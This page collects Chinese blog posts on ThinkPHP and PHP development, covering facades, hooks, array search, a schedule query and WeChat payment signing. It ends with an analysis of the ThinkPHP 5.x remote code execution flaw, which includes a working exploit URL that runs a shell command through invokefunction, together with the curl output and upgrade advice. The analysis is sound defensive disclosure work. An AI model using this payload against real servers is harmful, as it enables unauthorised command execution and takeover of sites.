优化后代码瞬间舒服了很多吧,省去了非常多的代码了算是,因为这个东西在很多控制器下都是应该需要进行使用的优化2如baseValidate中的代码,其中有一串代码是is_null,那是为了校验所有传递上来的数据而编写,当我们需要校验所有的数据的时候只需要这样写同样可以校验出数据,但是会有一个疑惑,我们没有来获取data数据,无法使用data数据,还是需要在控制器中重新进行获取,这是不可取的,所以我选择这样做

March 25, 2019 · 1 min · jiezi

PHP 多维数组中的 array_find

过渡最近在开始使用 ThinkPHP 5.1 进行一系列开发工作,因为之前是使用 Laravel 进行开发,像是标题中的这种小问题都在 Laravel 中很容易实现。直接使用 array_first 方法进行查找即可。快速实现但是在 ThinkPHP 中 并没有提供类似方法进行快速处理,所以有需要来重复造轮子了?至此想到的第一个方法就是使用 array_search 不过这个方法中官方提供的方案仅用于简单的一维数组搜索,而且返回的也只是 index 并不是找到的结果,淡然通过 index 我们也可以取出项目来,在 PHP 5.5 带来的新方法 array_column,可以方便的实现二维搜索 在这里的用户笔记 为我们提供了一个小的示例。$userdb=Array( (0) => Array ( (uid) => ‘100’, (name) => ‘Sandra Shush’, (url) => ‘urlof100’ ), (1) => Array ( (uid) => ‘5465’, (name) => ‘Stefanie Mcmohn’, (pic_square) => ‘urlof100’ ), (2) => Array ( (uid) => ‘40489’, (name) => ‘Michael’, (pic_square) => ‘urlof40489’ ));$key = array_search(40489, array_column($userdb, ‘uid’));并且赢得了 800+ 的赞赏,到这里可能你会觉得 通过这个方式取到 index 然后用 index 取出来就行了。一些????但是,如果你再往下翻一下,你会看到另一条用户笔记 ,这条用户笔记告诉我们 当我们使用这种方式来实现二维搜索时你 PHP 版本 必须要在 5.5 + ,作者同时告诉我们Since array_column() will produce a resulting array; it won’t preserve your multi-dimentional array’s keys. So if you check against your keys, it will fail.机翻一下 :由于array_column()将产生一个新的数组; 它不会保留多维数组的原来的键。 因此,如果您检查您的键,它将失败。然后作者也为我们提供了一个????$people = array( 2 => array( ’name’ => ‘John’, ‘fav_color’ => ‘green’ ), 5 => array( ’name’ => ‘Samuel’, ‘fav_color’ => ‘blue’ ));$found_key = array_search(‘blue’, array_column($people, ‘fav_color’)); // 1// Here, you could expect that the $found_key would be “5” but it’s NOT. It will be 1. Since it’s the second element of the produced array by the array_column() function.// 机翻一下:在这里,你预期 $found_key 的将是“5”,但它不是,它将是1.因为它是array_column()函数生成的数组的第二个元素。// 另外 作者还提到了// Secondly, if your array is big, I would recommend you to first assign a new variable so that it wouldn’t call array_column() for each element it searches. For a better performance, you could do;// 机翻一下:其次,如果您的数组很大,我建议您先分配一个新变量,这样它就不会为它搜索的每个元素调用array_column()。 为了获得更好的性能,你可以做到;$colors = array_column($people, ‘fav_color’);$found_key = array_search(‘blue’, $colors);看完了这些提示,你已经发现了这其中的坑,然而,这并没有结束,因为如果数据不够纯净的话,你用 array_search 实现的功能可能就只局限于 in_array 。而且,尽管到了这里,还会遇到另外一个坑,先看????<?php $userdb = array( 0 => array( ‘uid’ => 100, ’name’ => ‘Sandra Shush’, ‘url’ => ‘urlof100’ ), ‘8’ => array( ‘uid’ => 5465, ’name’ => ‘Stefanie Mcmohn’, ‘pic_square’ => ‘urlof100’ ), ‘3’ => Array( // ‘uid’ => 5555, ’name’ => ‘Michael’, ‘pic_square’ => ‘urlof40489’ ), ‘6’ => Array( ‘uid’ => 40489, ’name’ => ‘Michael’, ‘pic_square’ => ‘urlof40489’ )); $found_key = array_search(40489, array_column($userdb, ‘uid’));在这里 猜想一下 $found_key 会是什么?答案是: 2。??? ,因为当在执行 array_column() 时,第三个元素,也就是键为3的数据中 uid 被注释了,这时候 PHP 就会忽略它,并不会被保留索引位置,所以这时候结果只有 3 个元素,第四个向上替补了,因为数组索引是 0 开始,所以 2 就相当于第 3 个元素了。大家都是怎么做的?在 array_search 的用户笔记区中,看到了很多都是数组循环并比对后返回,比如这个,但是这样又遇到一些局限性问题,这时候我们又想到了 Laravel 中把自主权交给调用者,由调用者在匿名方法内进行处理并返回 bool 值 进行处理。至此,看回 Laravel 的 array_fisrt 方法,通过 Laravel 源码可以看到 array_first 是 Arr::fisrt 方法的一个包装,在这里我们可以看到 Laravel 的实现方式,在这一小段代码中 还看到了另一个方法 value(),可以看到,这个方法就是判断是否是一个匿名方法,如果是就执行方法并返回,不是就直接返回。public static function first($array, callable $callback = null, $default = null) { if (is_null($callback)) { if (empty($array)) { return value($default); } foreach ($array as $item) { return $item; } } foreach ($array as $key => $value) { if (call_user_func($callback, $value, $key)) { return $value; } } return value($default); }if (! function_exists(‘value’)) { /** * Return the default value of the given value. * * @param mixed $value * @return mixed */ function value($value) { return $value instanceof Closure ? $value() : $value; }}看到这里,几乎是比较完整的实现,在这里还想到了另外一个和助手函数有关的项目:Underscore.php这是一个 PHP 的方法库,也可以算是是 JS中的 underscore.js和 loadsh、ramda 的 PHP 实现。在这个项目中我们看到了实现方式public static function find($array, Closure $closure) { foreach ($array as $key => $value) { if ($closure($value, $key)) { return $value; } } return; }这里的实现更为简单,最终也实现了我们想要的结果。 ...

March 13, 2019 · 3 min · jiezi

thinkphp中facade的实现

主要的思想是利用call_user_func_array()和容器结合使用的。容器用的上一篇写的容器连接如下链接描述核心代码,理解都在注释中<?php//reqeuestFacade.php namespace facade{ class Request extends Facade{ public function getFacadeName(){ return ‘request’; } } }?><?php//facade.phpnamespace facade{ class Facade{ public static function createFacade(){ $class = static::class; //在这个获取的$class其实是facade\reqeust //在这里利用static::得到getFacadeName,返回真正的request的变量名 $facadeClass = static::getFacadeName(); if ($facadeClass) { $class = $facadeClass; } elseif (isset(self::$bind[$class])) { $class = self::$bind[$class]; } //echo $class; 利用容器去获取reqeust,而不是facade\reqeust return \Container::get($class); } public static function __callStatic($method, $params) { return call_user_func_array([static::createFacade(), $method], $params); } }}?>下面测试代码reqeust.php<?phpclass Request{ public $name = ‘Real Request’; public function sayName(){ echo $this->name; }}?>test.php<?php use facade\Request; include “Container.php”; include “Facade.php”; include “RequestFacade.php”; include “Request.php”; Request::sayName();?>最后的结果 ...

March 6, 2019 · 1 min · jiezi

thinkphp Hook行为的使用案例

thinkphp Hook行为的使用案例行为,官方是如下介绍: 行为(Behavior)是ThinkPHP扩展机制中比较关键的一项扩展,行为既可以独立调用,也可以绑定到某个标签中进行侦听,在官方提出的CBD模式中行为也占了主要的地位,可见行为在ThinkPHP框架中意义非凡。这里指的行为是一个比较抽象的概念,你可以把行为想象成在应用执行过程中的一个动作或者处理。在框架的执行流程中,例如路由检测是一个行为,静态缓存是一个行为,用户权限检测也是行为,大到业务逻辑,小到浏览器检测、多语言检测等等都可以当做是一个行为,甚至说你希望给你的网站用户的第一次访问弹出Hello,world!这些都可以看成是一种行为,行为的存在让你无需改动框架和应用,而在外围通过扩展或者配置来改变或者增加一些功能。而不同的行为之间也具有位置共同性,比如,有些行为的作用位置都是在应用执行前,有些行为都是在模板输出之后,我们把这些行为发生作用的位置称之为标签(位),当应用程序运行到这个标签的时候,就会被拦截下来,统一执行相关的行为,类似于AOP编程中的“切面”的概念,给某一个切面绑定相关行为就成了一种类AOP编程的思想。使用行为的定义很简单,只是在某些场景下的应用,可能有点难以理解。 在 laravel 中, 类似于其事件监听器, 当触发了某一行为进行自动触发相关的操作方法举个例子来说一个登录的功能,前期我们只需要校验密码即可,按照以往的方法可以这样做function checkLogin() { $this->checkPass(); // – 新增加的功能 $this->checkMobile(); $this->checkCaptcha(); //… 等等 echo ‘登录成功’;}在如上操作中,是不是很麻烦,针对一个登录行为, 如果后期功能的增加我们需要不断的去增加功能就必须得去修改控制器代码我们进行解耦该怎么做呢?即将行为,逻辑(钩子)分离开, 让代码更加易于管理使用如下,我们直接上图如上,我们定义了三个不同的即将发生的行为, 分别为连接网络 、 关闭电脑、使用电脑// Connect.phpnamespace app\index\behavior;class Connect{ public function run() { echo ‘连接网络’; } public function __destruct() { echo ‘<br/>’; }}// End.phpnamespace app\index\behavior;class End{ public function run() { echo ‘关闭电脑’; echo ‘<br/>’; }}// On.phpnamespace app\index\behavior;class On{ public function run() { echo ‘开启电脑’; echo ‘<br/>’; } public function qq() { echo ‘打开QQ’; echo ‘<br/>’; } public function opBrowser() { echo ‘打开浏览器’; echo ‘<br/>’; } public function app_end(&$param) { $param = ‘结束了’; }}控制器文件 Index.php namespace app\index\controller; use think\Hook; class Index { public function __construct() { // 开始绑定使用电脑需要进行的操作 Hook::add(‘app_init’, [ ‘app\index\behavior\On’, ‘app\index\behavior\Connect’, ] ); // 批量绑定 Hook::add(‘qq’, ‘app\index\behavior\On’); // 自定义标签名 Hook::add(‘opBrowser’, ‘app\index\behavior\On’); // 自定义标签名 // Hook::add(‘app_end’, ‘app\index\behavior\End’); // 系统标签位,无需绑定,自动执行 } public function index() { echo ‘我现在需要使用电脑进行社交’; echo ‘<br/>’; Hook::listen(‘app_init’); // 手动初始化 Hook::listen(‘qq’); // 打开qq Hook::listen(‘opBrowser’); // 打开浏览器 } } 输出结果1) 解析首先,我们可以在一个全局中,例如控制器初始化中可以使用 Hook::add 开始进行绑定, 绑定完成后就可以使用 Hook::listen() 执行相关绑定的方法,尽量不要使用Listen音译去理解这个方法他实际上不算监听,实际上是运行的意思, 当Listen的时候,会执行相关在前面绑定的方法, 例如 Hook::listen(‘app_init’) 后便会执行 ‘app\index\behavior\On’, ‘app\index\behavior\Connect’ 中的 run 方法 如果 执行的行为标签 app_init 非系统标签或者在 app\index\behavior\On 中有 app_init 方法,则会就会执行其中app_init的方法,而不是执行run2) 自定义标签使用自定义标签必须满足两个条件, 1、Hook::add(‘qq’) 对自定义标签 qq 进行绑定了, 2、对应的行为类中必须存在 qq 这个方法, 否则自动运行 run 方法 3) tags.php 行为绑定 // ..tags.php <?php return [ ‘app_init’=> [ ‘app\index\behavior\On’, ‘app\index\behavior\Connect’, ], ‘app_end’=> [ ‘app\index\behavior\End’ ] ];可以在控制器下目录下使用 tags.php 进行绑定 ...

February 27, 2019 · 1 min · jiezi

2018年 年终总结

年终总结我是从9月初到的这里,到现在已经有5个月了。在这将近半年的学习生活中,收获了很多,也发现了很多不足之处。一.收获首先,作为一个已经毕业了两年的人,对于再次学习这些知识其实抱有很轻浮的态度,觉得很简单,就比较松懈,于是遇到了很多困难。通过一段时间和大家的接触,我发现这边的同学和我以前遇到的很不一样,有一种认真钻研的精神,这样的精神我认为是最值得学习的地方。其次,我在这学习到了大家互相帮助的热情。我本身是一个不善于交流的人,也不喜欢麻烦别人,但是在这里,大家对于互相帮助都很热情,哪怕自己的事情还没完成,遇到问问题的都会去帮忙解决。这种互相帮助的气氛很适合学习,也让我收获了很多。最后,要感谢潘老师的教程和教学视频,很详细,教会了我很多以前学不到的内容。二.不足之处首先,我个人比较懒,经常不叠被,这是个坏习惯,老师也提出过很多次了,这个需要改正。其次,我不善于和别人交流,每次遇到问题,都认为可以在网上查到并解决,不想去问别人,这导致了我经常浪费大量的时间去查找问题的解决方法,学习效率很慢。最后,我每次解决一个问题之后,没有记录的习惯,这导致我下次再遇到相同的问题,还需要反复回忆或者再次查找解决方案,有的时候甚至记得网页的历史记录但是不记得解决方案,这也是个坏习惯,我会努力改正过来。三.未来的计划2018年过去了,学习效率比较慢,这让我我很不满意,2019年我希望改正自己的不足之处,提升学习效率,能够更快更好的完成学习目标,

February 15, 2019 · 1 min · jiezi

首页查询功能的一次实现过程

本次的目的是完成学生选课系统的首页查询功能的实现,具体要求:1.在首页显示当前周的课表。2.显示所有的学生每节课的有无情况。效果图如下初始思路:1.查询当前学期的所有课程2.查询本周,周几,第几节课的课程id3.通过课程id查询有那些学生选择了该课程4.将查询到的学生id设为有课,其余为无课,并将数据传输到V层依照以上方法,实现的时候才发现很复杂,而且由于多层查询需要用循环套循环的方法,所以最后代码不但很长,而且出了一点错误就很难改过来,把自己绕了进去 // 获取数据库信息,并传到V层显示。 public function index() { // 查询当前学期 $term = Term::where(‘state’,1)->find(); // var_dump($term->id); // 获取当前学期的所有课程 $courseId = Course::where(’term_id’,$term->id)->column(‘id’); // var_dump($courseId); // 获取本周的课程 $classTime = ClassTime::where([‘course_id’ => $courseId])->select(); // var_dump($classTime); // var_dump(strtotime(date(‘Y-m-d’))); // var_dump(strtotime($term[0][‘start_time’])); $week = intval((strtotime(date(‘Y-m-d’)) - strtotime($term->start_time))/7/86400); // var_dump($week); $classTime = $classTime->where(‘week’,$week); // var_dump($classTime); $studentName = Student::where(‘state’,1)->column(’name’); // var_dump($studentName); for ($j=0; $j < 7; $j++) { for ($i=0; $i < 5; $i++) { $num = count($studentName); // var_dump($studentName[0]); for ($k=0; $k < $num; $k++) { $home = new Home; $home->day = $j+1; $home->period = $i+1; $home->name = $studentName[$k]; $home->state = 0; if (!is_null($classTime)) { $classTime = $classTime->where(‘day’,$j+1); $classTime = $classTime->where(‘period’,$i+1); // var_dump($classTime); // 获取学生Id $stuCoursId = StudentCourses::where([‘courses_id’ => $classTime->column(‘course_id’)])->column(‘student_id’); $stuState = Student::where([‘id’ => $stuCoursId])->column(‘state’); // var_dump($home); // var_dump($stuState[0]); if (!is_null($stuCoursId) && in_array(1, $stuState)) { $stuName = Student::where([‘id’ => $stuCoursId],[‘state’,1])->column(’name’); // var_dump($stuName); // $home->save(); if (!is_null($home->where([’name’ => $stuName])->find())) { $home->where([’name’ => $stuName])->find()->state = 1; } } } $lists[$j][$i][$k] = $home; } // var_dump($home); } // var_dump($home); } $week = [‘周一’,‘周二’,‘周三’,‘周四’,‘周五’,‘周六’,‘周日’]; var_dump($lists[0][0][0]); // var_dump($list); $this->assign(‘week’,$week); $this->assign(’lists’,$lists); return $this->fetch(); }这部分代码虽然实现了功能,但是明显不是老师要得效果,主要是没有面向对象的思想,因此,后面老师讲了一种面向对象的思想老师讲的思路:1.首先设立三个数组:周几,第几节,学生。这三个数组分别有一个name一个id属性2.将数组数据传输到V层,并显示3.利用这三项数据,调用一个getHasCourse的方法,直接查询学生是否有课,并返回true或faluse按照以上思路,发现事情变得很简单。首先,C层的查询并建立两个关于周次和节次的数组 public function index() { // 先查询非冻结状态的学生 $student = Student::where(‘state’,1)->select(); $this->assign(‘students’,$student); // 设置循环显示的周次 $day = array(array(‘id’=>‘1’,’name’=>‘周一’), array(‘id’=>‘2’,’name’=>‘周二’), array(‘id’=>‘3’,’name’=>‘周三’), array(‘id’=>‘4’,’name’=>‘周四’), array(‘id’=>‘5’,’name’=>‘周五’), array(‘id’=>‘6’,’name’=>‘周六’), array(‘id’=>‘7’,’name’=>‘周日’) ); // 设置节次,并设置好id,方便与数据库中的数据对接 $period = array(array(‘id’=>‘1’,’name’=>‘第一节’), array(‘id’=>‘2’,’name’=>‘第二节’), array(‘id’=>‘3’,’name’=>‘第三节’), array(‘id’=>‘4’,’name’=>‘第四节’), array(‘id’=>‘5’,’name’=>‘第五节’) ); $this->assign(‘days’,$day); $this->assign(‘periods’,$period); return $this->fetch(); }然后,V层显示数据{extend name=“index” /}{block name=“content”} <div class=“row”> <div class=“col-md-offset-1 col-md-10”> <table class=“table table-bordered”> <tr class=“info”> <td>周次</td> {volist name=“periods” id=“period”} <td>{$period.name}</td> {/volist} </tr> {volist name=“days” id=“day”} <tr> <td class=“info”>{$day.name}</td> {volist name=“periods” id=“period”} <td> {volist name=“students” id=“student”} {$student.name}&nbsp{eq name="$student->getHasCourse($student.id,$day.id,$period.id)" value=“true”}<label style=“color: red;">有课</label>{else /}<lable>无课{/eq}</label> <br /> {/volist} </td> {/volist} </tr> {/volist} </table> </div> </div>{/block}其中的eq里面就是调用的getHasCourse方法,该方法写在M层里面,传入的参数为学生id,周次id,节次id最后,M层的方法: public function getHasCourse($studentId,$dayId,$periodId) { // 查询当前学期,找到开始时间 $term = Term::where(‘state’,1)->find(); // 计算现在是第几周 $week = intval((strtotime(date(‘Y-m-d’)) - strtotime($term->start_time))/7/24/60/60)+1; // 查询本周的课程 $courseId = ClassTime::where(‘day’,$dayId)->where(‘period’,$periodId)->where(‘week’,$week)->column(‘course_id’); // 查询当前学生在当前周次,节次是否有课。 $count = count(StudentCourses::where([‘courses_id’=>$courseId])->where(‘student_id’,$studentId)->find()); // 有课则大于0; if ($count > 0) { return ’true’; } else { return ‘faluse’; } }经过这么写,发现思路很清晰,每层的功能也能很明白的了解到,而且代码也并不复杂,甚至一个for循环都没有用到。总结这次的首页查询功能,让我更多的了解到了面向对象的思想,但是老师讲出来之后明白了和自己本身就有的还是不一样的。思想转变不是那么的容易,还需要多加练习。 ...

January 25, 2019 · 2 min · jiezi

微信支付JSAPI,实测!终极方案

在用JSAPI开发微信支付的时候,遇到了很多坑,我也对朋友说过,一步一坑。最后终于算是走出来了。期间翻阅过很多网友写的教程,但是都不实用,JAVA,Python都有看过,大多数都是粘贴复制,倍感失望。开发环境thinkphp5.0 php(开始使用JSAPI需要一个概念,就是在整个JSAPI的逻辑里面,只存在一个随机字符串 和一个 时间戳。相当于JSSAPI类里的全局。)开始开发全局初始化 public function __construct($total_fee, $body, $openid) { $rand = rand(11, 99); $mp_info = get_mpid_info();//获取微信信息 $this->appid = $mp_info[‘appid’]; $this->nonce_str = nonceStr(32); $this->spbill_create_ip = Request::instance()->ip(); $this->mch_id = $mp_info[‘mch_id’]; $this->key = $mp_info[‘paykey’]; $this->timestamp = time(); $this->sign;//一次签名 $this->total_fee = $total_fee; $this->out_trade_no = time() . $rand; $this->notify_url = ‘http://uedream.cn/index.php'; $this->body = $body; $this->openid = $openid; $this->sign_type = ‘MD5’; $this->createsign(); //生成签名方法,需要结合createsign方法 }以上是初始化签名结构体获取签名文档:https://pay.weixin.qq.com/wik…public function createsign() { $build = [ ‘appid’ => $this->appid, ‘body’ => $this->body, ‘mch_id’ => $this->mch_id, ’nonce_str’ => $this->nonce_str, ’notify_url’ => $this->notify_url, ‘openid’ => $this->openid, ‘out_trade_no’ => $this->out_trade_no, ‘sign_type’ => $this->sign_type, ‘spbill_create_ip’ => $this->spbill_create_ip, ’timeStamp’ => $this->timestamp, ’total_fee’ => $this->total_fee, ’trade_type’ => $this->trade_type, ‘key’ => $this->key, ]; $string = http_build_query($build); $string = str_replace(’%2F’, ‘/’, $string); //格式化网址 $string = str_replace(’%3A’, ‘:’, $string); //格式化网址 $md5 = md5($string); $this->sign = strtoupper($md5); }统一下单文档:https://pay.weixin.qq.com/wik… public function unifiedorder() { $data = [ ‘appid’ => $this->appid, ‘body’ => $this->body, ‘mch_id’ => $this->mch_id, ’nonce_str’ => $this->nonce_str, ’notify_url’ => $this->notify_url, ‘openid’ => $this->openid, ‘out_trade_no’ => $this->out_trade_no, ‘sign’ => $this->sign, ‘sign_type’ => ‘MD5’, ‘spbill_create_ip’ => $this->spbill_create_ip, ’timeStamp’ => $this->timestamp, ’total_fee’ => $this->total_fee * 1, ’trade_type’ => $this->trade_type, ]; $xml = arrayToXml($data); $result = http_post(self::UNIFIEDORDER, $xml); $return = xmlToArray($result); $this->package = ‘prepay_id=’ . $return[‘prepay_id’]; $this->renCreatesign();//这是二次签名。文档里面我是没有看到,反正我是卡到这里了。 $returns = [ ‘appid’ => $this->appid, ’noncestr’ => $this->nonce_str, ‘signtype’ => $this->sign_type, ‘package’ => $this->package, ‘sign’ => $this->resign, ’timestamp’ => $this->timestamp, ]; return $returns; }统一下单请忽略的所有的回调参数,只要prepay_id,其它的参数暂时看做障眼法,获取到了统一下单,还需要进行二次签名,上面代码里面有一个$this->renCreatesign(),就是调用的二次签名方法二次签名文档:https://pay.weixin.qq.com/wik…所谓的二次签名就是,appId,nonceStr,package,signType,timeStamp,key的加密。一样的签名方式,可是参考签名文档,进行签名。(上面参数已经按照ASCII进行排序,大小写也请按照给出的进行加密)注意: package格式为prepay_id=xxxxxxxxxxxx。xxxx部分为统一下单获取的prepay_id代码参考:public function renCreatesign() { $build_data = [ ‘appId’ => $this->appid, ’nonceStr’ => $this->nonce_str, ‘package’ => $this->package, ‘signType’ => $this->sign_type, ’timeStamp’ => $this->timestamp, ‘key’ => $this->key, ]; $result = http_build_query($build_data); $put_data = str_replace(’%3D’, ‘=’, $result); //格式化网址 $signatrue = md5($put_data); $this->resign = strtoupper($signatrue); }至此,所有的签名应经完成,控制器使用unifiedorder()进行参数获取。前端这里开始使用jsapi做支付动作 WeixinJSBridge.invoke( “getBrandWCPayRequest”, { appId: res.appid, //公众号名称,由商户传入 timeStamp: res.timeStamp, //时间戳,自1970年以来的秒数 nonceStr: res.nonce_str, //随机串 package: res.package, signType: res.signType, //微信签名方式: paySign: res.sign //微信签名 }, function(res) { alert(JSON.stringify(res)); if (res.err_msg == “get_brand_wcpay_request:ok”) { // 使用以上方式判断前端返回,微信团队郑重提示: //res.err_msg将在用户支付成功后返回ok,但并不保证它绝对可靠。 } } );前端所有需要调用的参数均在unifiedorder()可以获取到。这里提一下WeixinJSBridge.invoke与wx.chooseWXPay 的区别。WeixinJSBridge.invoke可以不用引用weixinjs便可使用,也不需要config。在安卓手机上也能回调出错误信息。wx.chooseWXPay需要引用weixinjs,也需要使用config,而且在安卓手机上面的提示特别不友好。结语微信支付文档说实话真的很坑 很坑。貌似写文档的小哥这天情绪不好。写出来的让人也感觉到了情绪不好。以上为本人切身操作写出的教程。如还有补充的地方可以随时留言评论。 ...

January 8, 2019 · 2 min · jiezi

ThinkPHP 5.x 远程代码getshell漏洞实战分析

ThinkPHP 简介ThinkPHP 是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,因为其易用性、扩展性,已经成长为国内颇具影响力的WEB应用开发框架漏洞解析漏洞引发的原因是框架对控制器名没有进行足够的检测,现拉取ThinkPHP v5.0.22 来进行测试请求路由 => http://127.0.0.1/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l系统解析为 => 模块:index => 控制器:\think\app => 方法:invokefunction => 参数列表: => function=call_user_func_array => vars[0]=system => vars[1][]=ls -l跟踪到路由解析代码 thinkphplibrarythinkApp.php /** * 执行模块 * @access public * @param array $result 模块/控制器/操作 * @param array $config 配置参数 * @param bool $convert 是否自动转换控制器和操作名 * @return mixed * @throws HttpException / public static function module($result, $config, $convert = null) { // ====================================================== // 未进行过滤直接以 / 分解来进行解析 // ====================================================== if (is_string($result)) { $result = explode(’/’, $result); } … // ====================================================== // 未进行过滤直接赋值为 $result[1] 即 \think\app 并进行实例化 // ====================================================== $instance = Loader::controller( $controller, // \think\app $config[‘url_controller_layer’], $config[‘controller_suffix’], $config[’empty_controller’] ); … // ========================================= // 传递 $result[2] 即 invokefunction 方法 // is_callable([$instance, “invokefunction”] // ========================================= if (is_callable([$instance, $action])) { // 执行操作方法 $call = [$instance, $action]; // 严格获取当前操作方法名 $reflect = new \ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config[‘action_suffix’]; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); … return self::invokeMethod($call, $vars); … /* * 调用反射执行类的方法 支持参数绑定 * @access public * @param string|array $method 方法 * @param array $vars 变量 * @return mixed / public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); } else { // 静态方法 $reflect = new \ReflectionMethod($method); } $args = self::bindParams($reflect, $vars); // =============================================== // 传递uri参数 // var_dump($args); // ————————– // array(2) { // [0]=> // string(20) “call_user_func_array” // [1]=> // array(2) { // [0]=> // string(6) “system” // [1]=> // array(1) { // [0]=> // string(5) “ls -l” // } // } // } // =============================================== self::$debug && Log::record(’[ RUN ] ’ . $reflect->class . ‘->’ . $reflect->name . ‘[ ’ . $reflect->getFileName() . ’ ]’, ‘info’); // ======================================================= // 即通过 invokeFunction 传递系统调用给 call_user_func_array // 从而调用 system(“ls -l”) // ======================================================= return $reflect->invokeArgs(isset($class) ? $class : null, $args); } … /* * 执行函数或者闭包方法 支持参数调用 * @access public * @param string|array|\Closure $function 函数或者闭包 * @param array $vars 变量 * @return mixed */ public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record(’[ RUN ] ’ . $reflect->__toString(), ‘info’); return $reflect->invokeArgs($args); }漏洞测试结果# curl “http://127.0.0.1/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l"total 13-rw-r–r– 1 pc-user 197121 850 Sep 7 21:33 favicon.ico-rw-r–r– 1 pc-user 197121 766 Sep 7 21:33 index.php-rw-r–r– 1 pc-user 197121 24 Sep 7 21:33 robots.txt-rw-r–r– 1 pc-user 197121 840 Sep 7 21:33 router.phpdrwxr-xr-x 1 pc-user 197121 0 Dec 26 22:18 static受影响版本范围ThinkPHP 5.0.x < 5.0.23ThinkPHP 5.1.x < 5.1.31大家看一下相关链接中github版本列表,参考github release列表的更新内容,选择对自己升级影响最小的,最好的话就是直接升级到最新版本,要想不受漏洞影响,至少应该升级为ThinkPHP 5.0.23ThinkPHP 5.1.31composer require topthink/framework=v5.0.23composer require topthink/framework=v5.1.31升级后确认版本已更新# composer show topthink/frameworkname : topthink/frameworkdescrip. : the new thinkphp frameworkkeywords : framework, orm, thinkphpversions : * v5.0.23type : think-framework…相关链接ThinkPHP composer包列表(composer 可以拉取的版本列表)ThinkPHP github版本列表(更新内容说明参考)ThinkPHP 官方漏洞说明ThinkPHP 5.x 远程代码getshell漏洞源码分析 ...

December 27, 2018 · 3 min · jiezi